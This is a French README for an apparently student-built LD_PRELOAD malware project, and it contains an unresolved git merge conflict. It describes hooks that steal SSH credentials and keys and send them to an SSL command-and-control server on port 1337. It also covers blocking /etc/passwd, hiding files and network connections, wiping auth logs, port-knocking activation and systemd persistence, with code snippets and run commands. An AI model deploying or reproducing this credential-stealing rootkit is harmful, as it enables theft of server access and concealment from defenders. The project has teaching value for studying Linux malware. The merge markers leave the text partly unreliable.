<<<<<<< HEAD
UZAN Alexandre
KHALIFA Julien
Avoir un malware basé sur la technique LD_PRELOAD qui permet d’extraire les clés SSH envoyées par les clients à un serveur openSSH.
Le scénario se basera en assumed breach, dans un premier temps avec le plus de droit possible (root sans mitigation), puis dans un second temps, un soin sera apporté sur le travail de portabilité, notamment à travers la réduction des privilèges des comptes (pas d’infection root mais en tant qu’utilisateur).
Une fois l’extraction de clé obtenue, au choix peut être réalisé par le groupe (ou l’étudiant) :
L’empêchement d’ouverture d’un fichier par le malware.
Un travail de furtivité en cachant les connexions ouvertes du malware vis à vis de la commande netstat -latepun.
Un travail d’anti forensic en supprimant des logs, d’abord en local, puis si le temps le permet, en spoofant les requêtes internet envoyées à des hôtes distants.
Il est attendu aussi un début de port knocking du côté du client (malware), permettant après avoir résolu la séquence, d’exécuter des commandes arbitraires.
Dans un même temps il est attendu d’avoir un serveur de commande et contrôle permettant :
D’enregistrer un malware auprès du C2, et donc de savoir qu’un hôte est infecté (en stockant quelques informations permettant une identification de l’hôte infecté).
Une "API" permettant au malware de remonter les clés SSH de l’hôte et de l’utilisateur s’étant fait voler ses clés.
De plus un rapport sur les fonctionnements d’un linker, de LD_PRELOAD, et de comment marche un thread sous Linux, qui aille plus loin que la courte présentation faite en cours.
Pour la partie bonus, cf slides, les idées sont au choix et totalement libres tant qu’elles font développer du code en C et qu’elles sont relativement liées au sujet.
Installs :
sudo apt install libssl-dev: pour SSLsudo apt install opensslsudo apt install build-essential: pour GCC et MAKE
sudo make
Déplacer port_knock.service : sudo mv port_knock.service /etc/systemd/system/
Renommer "utilisateur" avec le nom du compte de session
Enregistrez et quitte
Recharge et Relance le service
sudo systemctl daemon-reloadsudo systemctl reset-failed port_knock.servicesudo systemctl start port_knock.servicesudo systemctl status port_knock.service=======
- Alexandre UZAN
- Julien KHALIFA
Ce projet implémente un malware basé sur LD_PRELOAD, une technique puissante permettant d'intercepter les appels système Linux. Voici les objectifs :
- 📤 Extraction de clés SSH et credentials utilisateur.
- 🔒 Blocage de fichiers critiques comme
/etc/passwd. - 🎭 Furtivité avancée : Masquage des connexions réseau et fichiers sensibles.
- 🔑 Port Knocking : Activation conditionnelle après une séquence de ports spécifiques.
- 🖥️ Serveur C2 : Communication sécurisée via SSL/TLS pour recevoir et stocker les données exfiltrées.
Tout d'abord, nous allons expliquez ce qu'est le LD_PRELOAD ?
- LD_PRELOAD est une variable d'environnement qui permet d'injecter une bibliothèque dynamique dans un programme avant même que ses propres bibliothèques ne soient chargées. Cette technique est couramment utilisée pour :
- Détourner des appels système (hooking dynamique).
- Modifier le comportement des fonctions standard de la libc.
- Intercepter et filtrer des données sensibles.
LD_PRELOAD= ./malware.so ssh testuser@10.0.2.15
Le malware intercepte les entrées utilisateur, notamment lors de la saisie de mots de passe. De même, write() est détourné pour capturer les identifiants SSH :
🌟 Chaque fichier a une responsabilité précise. Voici une vue d’ensemble :
| Fichier | Description |
|---|---|
log_cleanup.c |
🔍 Nettoie ou modifie les fichiers de logs comme /var/log/auth.log. |
file_hide.c |
🎭 Masque les fichiers sensibles (passwd, shadow). |
ssl_hook.c |
🔒 Intercepte SSL_write pour capturer des données sensibles. |
ssh_hook.c |
🔑 Capture les credentials SSH. |
read_write_hook.c |
🛠️ Intercepte les appels système read et write. |
port_knock.c |
🚪 Implémente le port knocking. |
file_hook.c |
❌ Bloque l’accès à des fichiers critiques (/etc/passwd, /var/log/). |
main.c |
🛡️ Initialise les hooks et le port knocking. |
| Fichier | Description |
|---|---|
server.c |
🖥️ Serveur de commande et contrôle (C2), qui écoute sur le port 1337. |
api_handler.c |
📤 Gère la transmission des données sensibles vers le serveur C2. |
| Fichier | Description |
|---|---|
port_knock.service |
⚙️ Configuration du service systemd pour activer le port knocking. |
Makefile |
🛠️ Script de compilation du projet. |
infected_hosts.db |
💾 Base de données SQLite utilisée pour stocker les données interceptées. |
Avant de commencer, assurez-vous d’installer les dépendances suivantes :
sudo apt install libssl-dev openssl build-essential libsqlite3-dev psmisc -ysudo apt update && sudo apt install -y \
build-essential \
libssl-dev \
libsqlite3-dev \
zlib1g-dev \
net-tools \
libdl2 \
libpthread-stubs0-devCompilez l'ensemble du projet à l'aide de la commande suivante :
sudo makeCréez un fichier port_knock.service pour configurer le service systemd.
sudo nano /etc/systemd/system/port_knock.serviceAjoutez-y le contenu suivant :
[Unit]
Description=Port Knocking Listeners
After=network.target
StartLimitIntervalSec=0
[Service]
ExecStart=/home/UTILISATEUR/Documents/projets/LD_PRELOAD_malware/port_knock_startup.sh
Type=oneshot
RemainAfterExit=yes
Restart=no
[Install]
WantedBy=multi-user.targetRemplacez UTILISATEUR par le nom de votre compte.
Enregistrez et quittez. Ensuite, exécutez les commandes suivantes pour activer et vérifier le service :
sudo systemctl daemon-reload
sudo systemctl reset-failed port_knock.service
sudo systemctl start port_knock.service
sudo systemctl status port_knock.serviceLe malware ne s'active qu'après une séquence spécifique de connexions sur des ports prédéfinis :
int check_port_knock(void) {
int ports[] = {7000, 8000, 9000};
for (int i = 0; i < 3; i++) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(sock);
return 0;
}
close(sock);
}
return 1;
}- Lancer le serveur C2
Dans un premier terminal, lancez le serveur C2 pour écouter les connexions du malware :
sudo ./c2_serverCela initialise un serveur sécurisé sur le port 1337, prêt à recevoir les données sensibles transmises par le malware.
Le serveur écoute sur le port 1337 et reçoit les informations exfiltrées via SSL :
void handle_client(SSL *ssl) {
char buffer[BUFFER_SIZE] = {0};
int bytes_read = SSL_read(ssl, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
insert_into_database(hostname, username, password, ssh_keys);
}
}Dans un second terminal, exécutez les commandes suivantes pour tester les différentes fonctionnalités du malware.
Le malware capture les credentials SSH (nom d'utilisateur et mot de passe) et les transmet au serveur C2.
LD_PRELOAD=./malware.so ssh utilisateur@localhost📤 Résultat attendu : Les credentials sont interceptés et transmis au serveur C2.
Le malware empêche l’accès à certains fichiers sensibles comme /etc/passwd en retournant une erreur "Permission Denied".
LD_PRELOAD=./malware.so cat /etc/passwd📛 Résultat attendu : Message d’erreur "Permission Denied".
Le malware masque certains fichiers comme passwd, shadow ou les fichiers de logs.
LD_PRELOAD=./malware.so ls /etc/
LD_PRELOAD=./malware.so find /var/log/🎭 Résultat attendu : Les fichiers sensibles ne sont pas affichés dans les résultats.
Le malware cache ses propres connexions réseau dans /proc/net/tcp pour éviter la détection.
LD_PRELOAD=./malware.so cat /proc/net/tcp🔒 Résultat attendu : Les connexions réseau du malware ne sont pas visibles.
- Tester le Port Knocking
Pour activer le malware, utilisez la séquence de ports suivante :
nc -z 127.0.0.1 7000
nc -z 127.0.0.1 8000
nc -z 127.0.0.1 9000🚪 Résultat attendu : Le malware s’active après la séquence correcte.
- Visualiser les données stockées dans SQLite
Le serveur C2 stocke les données interceptées dans une base SQLite (infected_hosts.db). Pour visualiser ces données, utilisez les commandes suivantes :
sqlite3 infected_hosts.db
.tables
SELECT * FROM infected_hosts;make- Sur C2 :
sudo ./c2_server, le programme lance l'écoute du port - Sur Client :
sudo ./test_sending_to_C2.sh, le programme enverra au C2 un string test - Le C2 traite la donnée reçue et l'insère dans la base de données
Saisir LD_PRELOAD=./malware.so ....(le_fichier_d_envoie.sh)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes
LD_PRELOAD=./malware.so ssh (login)📊 Résultat attendu : Les credentials interceptés sont affichés dans la table infected_hosts.
Si cas de problème avec le port knocking :
- ./listerner.sh => cela permet de clear le port et de le remettre en service
🚨 Note : Ce projet est uniquement à des fins éducatives. L’utilisation malveillante de ce code est strictement interdite.
- Detecting LD_PRELOAD Malware
- Orbit Analysis of a Linux Dedicated Malware
- Linux Attack Techniques: Dynamic Linker Hijacking with LD_PRELOAD
- LD_PRELOAD Introduction
- Linux Rootkits Explained: Part 1 - Dynamic Linker Hijacking
- MITRE ATT&CK: T1574.006
- Leveraging LD_AUDIT to Beat the Traditional Linux Library Preloading Technique
- LD_PRELOAD Introduction
- TeamTNT Evades Detection with New Malware Using LD_PRELOAD Technique
- Technical Analysis and Recommended Solution of GoAhead HTTPD 2.5 to 3.5 LD_PRELOAD Remote Code Execution Vulnerability (CVE-2017-17562)
- The LD_PRELOAD Trick
- What is the LD_PRELOAD Trick?
- cub3.c
- Quelques astuces avec LD_PRELOAD
- Orbit Analysis of a Linux Dedicated Malware
- MITRE ATTACK
api_complete